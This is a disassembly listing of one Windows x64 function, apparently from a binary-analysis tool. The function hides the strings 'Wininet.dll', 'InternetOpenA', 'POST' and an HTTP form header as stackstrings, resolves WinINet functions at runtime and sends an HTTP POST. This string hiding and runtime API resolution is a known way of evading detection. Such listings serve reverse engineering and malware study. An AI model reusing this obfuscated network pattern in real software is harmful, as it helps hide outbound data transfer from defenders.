Function at 0x140008440
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 8]
sub rsp, 0x108
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rbp - 8], rax
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x68], r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x78], rdx
xor r12d, r12d
mov r15d, dword [0x14003ff20]
mov qword [rbp - 0x5c], r12
mov dword [rbp - 0x72], r12d
mov word [rbp - 0x6e], r12w
mov word [rbp - 0x3f], r12w
mov byte [rbp - 0x3d], r12b
mov word [rbp - 0x27], r12w
mov byte [rbp - 0x25], r12b
mov word [rbp - 0xf], r12w
mov byte [rbp - 0xd], r12b
mov dword [rbp - 0x68], 0x696e6957
mov dword [rbp - 0x64], 0x2e74656e
mov dword [rbp - 0x60], 0x6c6c64
mov dword [rbp - 0x80], 0x65746e49
mov dword [rbp - 0x7c], 0x74656e72
mov dword [rbp - 0x78], 0x6e65704f
mov word [rbp - 0x74], 0x41
movdqa xmm0, xmmword [0x1400390a0]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x40], r12b
movdqa xmm1, xmmword [0x1400390c0]
movdqu xmmword [rbp - 0x38], xmm1
mov byte [rbp - 0x28], r12b
movdqa xmm0, xmmword [0x1400390b0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x10], r12b
lea rcx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003feb0], rax
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fef0], rax
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fec0], rax
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fed0], rax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140040038]
call qword [0x14003feb0]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x1400085fb
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r12
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, rsi
call fcn.1400019f0
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400085f2
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rdi]
jb 0x1400085ed
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000896e
mov rcx, r8
call fcn.140012570
mov qword [rdi + 0x10], r12
jmp 0x1400088ea
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r12
xor r9d, r9d
movzx r8d, word [rbp + 0x88]
lea rdx, [0x140040050]
mov rcx, rax
call qword [0x14003fef0]
mov rbx, rax
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140008597
mov ecx, 0xa
call fcn.140012abc
mov r13, rax
xor eax, eax
mov qword [r13], rax
mov word [r13 + 8], ax
mov dword [r13], 0x54534f50
lea ecx, [rax + 0xa]
call fcn.140012abc
mov r14, rax
mov dword [rax + 6], 0x312e
mov dword [rax], 0x50545448
mov word [rax + 4], 0x312f
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9, rax
lea r8, [0x14003ffc0]
mov rdx, r13
mov rcx, rbx
call qword [0x14003fec0]
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x1400086c5
mov rcx, r13
call fcn.140012570
mov rcx, r14
call fcn.140012570
jmp 0x140008597
mov ecx, 0x7d0
call fcn.140012abc
mov qword [rsp + 0x40], rax
xor edx, edx
mov r8d, 0x7d0
mov rcx, rax
call fcn.14002a9f0
mov ecx, 0x46
call fcn.140012abc
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov dword [rbx + 0x40], eax
mov word [rbx + 0x44], ax
lea ecx, [rax + 0x64]
call fcn.140012abc
mov r15, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r15], xmm0
movups xmmword [r15 + 0x10], xmm0
movups xmmword [r15 + 0x20], xmm0
movups xmmword [r15 + 0x30], xmm0
movups xmmword [r15 + 0x40], xmm0
movups xmmword [r15 + 0x50], xmm0
mov dword [r15 + 0x60], eax
mov dword [rbx], 0x746e6f43
mov dword [rbx + 4], 0x2d746e65
mov dword [rbx + 8], 0x65707954
mov dword [rbx + 0xc], 0x7061203a
mov dword [rbx + 0x10], 0x63696c70
mov dword [rbx + 0x14], 0x6f697461
mov dword [rbx + 0x18], 0x2d782f6e
mov dword [rbx + 0x1c], 0x2d777777
mov dword [rbx + 0x20], 0x6d726f66
mov dword [rbx + 0x24], 0x6c72752d
mov dword [rbx + 0x28], 0x6f636e65
mov dword [rbx + 0x2c], 0x646564
mov rdx, rbx
mov r8, r15
sub r8, rbx
nop dword [rax]
movzx eax, byte [rdx]
mov byte [rdx + r8], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400087a0
mov ecx, 0xa
call fcn.140012abc
mov r12, rax
xor eax, eax
mov qword [r12], rax
mov word [r12 + 8], ax
mov dword [r12], 0x64747268
mov word [r12 + 4], 0x7461
mov r9, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400087e5
mov r9, qword [rdi]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r8, r12
lea rdx, str._s_s_0__s_0__s
mov rcx, qword [rsp + 0x40]
call fcn.140001c70
mov r8, 0xffffffffffffffff
mov rax, r8
mov rcx, qword [rsp + 0x40]
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140008820
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x140008830
mov dword [rsp + 0x20], eax
mov r9, rcx
mov rdx, r15
mov rcx, qword [rsp + 0x48]
call qword [0x14003fed0]
mov rcx, r12
test eax, eax
jne 0x140008918
call fcn.140012570
mov rcx, qword [rsp + 0x40]
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, r15
call fcn.140012570
mov rcx, r13
call fcn.140012570
mov rcx, r14
call fcn.140012570
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
xor ebx, ebx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rbx
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, rsi
call fcn.1400019f0
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400088e6
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400088e1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000896e
mov rcx, r8
call fcn.140012570
mov qword [rdi + 0x10], rbx
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov rax, rsi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140012550
add rsp, 0x108
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140012570
nop
mov rcx, qword [rsp + 0x40]
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, r15
call fcn.140012570
mov rcx, r13
call fcn.140012570
mov rcx, r14
call fcn.140012570
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140008889
call fcn.140019138
int3